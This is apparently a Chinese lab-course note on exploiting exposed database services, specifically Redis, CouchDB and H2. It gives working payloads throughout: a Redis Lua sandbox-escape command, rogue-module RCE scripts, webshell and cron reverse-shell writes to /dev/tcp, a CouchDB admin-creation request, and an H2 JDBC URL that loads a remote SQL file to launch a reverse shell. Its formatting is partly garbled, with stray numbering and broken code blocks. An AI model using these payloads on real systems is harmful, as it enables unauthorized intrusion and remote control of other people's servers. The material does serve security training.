078-服务攻防-数据库应用&利用项目脚本&环境等

知识点

1、数据库-Redis-未授权RCE&CVE

2、数据库-Couchdb-未授权RCE&CVE

3、数据库-H2database-未授权RCE&CVE

前置知识:
1、复现环境:Vulfocus(官方在线的无法使用)

官方手册:https://fofapro.github.io/vulfocus/#/

搭建踩坑:(无法同步)

https://blog.csdn.net/m0_64563956/article/details/131229046

服务判断
端口扫描:利用服务开启后目标端口开放判断(比如redis的6379端口)

组合判断:利用搭建常见组合分析可能开放服务(比如使用java当作脚本语言,那可能就会使用SpringBoot开发框架)

信息来源:访问端口提示软件版本,应用信息等(这个就是当你访问的时候直接显示出来的版本或者特征信息)

强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

对象类别
对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

利用方法
主要集中在CVE漏洞,未授权访问,弱口令爆破等

在进行复现之前,需要先将vulfocus靶场搭建起来。

数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

漏洞复现

沙箱绕过RCE-CVE-2022-0543

image-20250708170148014

使用payload命令执行
1. 执行命令获取id

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
  1. 执行命令ls /tmp获取flag
1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0

image-20250708175410153

image-20250708175856588

image-20250708175925887

未授权访问-CNVD-2019-21763

由于在Reids4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行

工具利用:GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

POC利用:

1
2
python redis-master.py-r 目标-p 目标端口 -L攻击IP -P 8888 -f RedisModulesSDK
/exp.so -c "id"

image-20250708180930552

image-20250708181045826

未授权访问:CNVD-2015-07557

漏洞复现

目标系统的权限不够redis用户无法写计划任务和公钥,而且也没有开放ssh端口。
主从复制getshell,写入恶意的so文件达到执行系统命令的目的。
github上有一键可以利用的脚本
https://github.com/n0b0dyCN/redis-rogue-server.git

  1. 写Webshell需得到Web路径

    • 利用条件:Web目录权限可读写

    • config set dir /tmp            #设置WEB写入目录
      
      config set dbfilename 1.php    #设置写入文件名
      
      set test "<?php phpinfo();?>"  #设置写入文件代码
      
      save                           #保存执行
      注意:部分web目录可能会没读写权限
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17

      * ![image-20250708205423354](/img/image-20250708205423354.png)

      * ![image-20250708205607403](/img/image-20250708205607403.png)

      2. 写定时任务反弹shell(需要等待1-2分钟才会反弹)

      * 利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

      * ```
      set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"

      config set dir /var/spool/cron/

      config set dbfilename root

      save
    • 注意:centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败

  2. 写入Linux ssh-key公钥

    • 本地生成公钥和私钥
    • 将公钥写入到目标的.ssh文件夹
    • 本地私钥ssh 连接
    • 攻击机:ssh-keygen -t rsa //执行生成key命令
  3. 自动化项目

    • 这个项目集成了上面的那几种方式使用较为方便

    • 这个自动化项目也是需要make一下,这里注意一下目录是在RedisModulesSDK 下的exp目录下make

    • GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

    • python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 公网IP
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45

      * ![image-20250708211140364](/img/image-20250708211140364.png)

      ## **数据库应用-Couchdb-未授权越权&CVE漏洞**

      默认端口:5984

      Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和

      CVE-2017-12636披露利用

      ### **Couchdb 垂直权限绕过(CVE-2017-12635)**

      1. 先创建用户

      * ```
      PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

      Host: 47.94.236.117:44389

      Accept: */*

      Accept-Language: en

      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

      Connection: close

      Content-Type: application/json

      Content-Length: 108

      {

      "type": "user",

      "name": "xiaodi",

      "roles": ["_admin"],

      "roles": [],

      "password": "xiaodi"

      }
    • image-20250708222528373

    • image-20250708222604310

    • image-20250708222624101

Couchdb 命令执行 (CVE-2017-12636)

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可

image-20250708214003555

image-20250708213904080

image-20250708213836244

image-20250708214027823

数据库应用-H2database–未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

H2database RCE(CVE-2022-23221)

  1. 未授权进入

    • jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22

      * ![image-20250708221421257](/img/image-20250708221421257.png)

      * ![image-20250708221435644](/img/image-20250708221435644.png)

      2. RCE执行反弹

      * 攻击机上完成,创建数据库文件:h2database.sql

      * ```
      #吧下面这段代码写入创建好的文件里面
      CREATE TABLE test (

      id INT NOT NULL

      );

      CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

      Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

      #反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
    • image-20250708221626214
    • image-20250708222037652

    • 启动提供SQL文件远程加载服务

    • python3 -m http.server 89
      
      1
      2
      3
      4
      5
      6
      7

      * ![image-20250708221711830](/img/image-20250708221711830.png)

      * 目标填入Payload使其加载远程SQL

      * ```
      jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://1.92.144.175:89/h2database.sql';\
    • 完结

JNDI注入

image-20250708221112917

image-20250708221250209

将生成出来的所提供的服务,输入到界面当中,进行连接
指定驱动类:javax.naming.InitialContext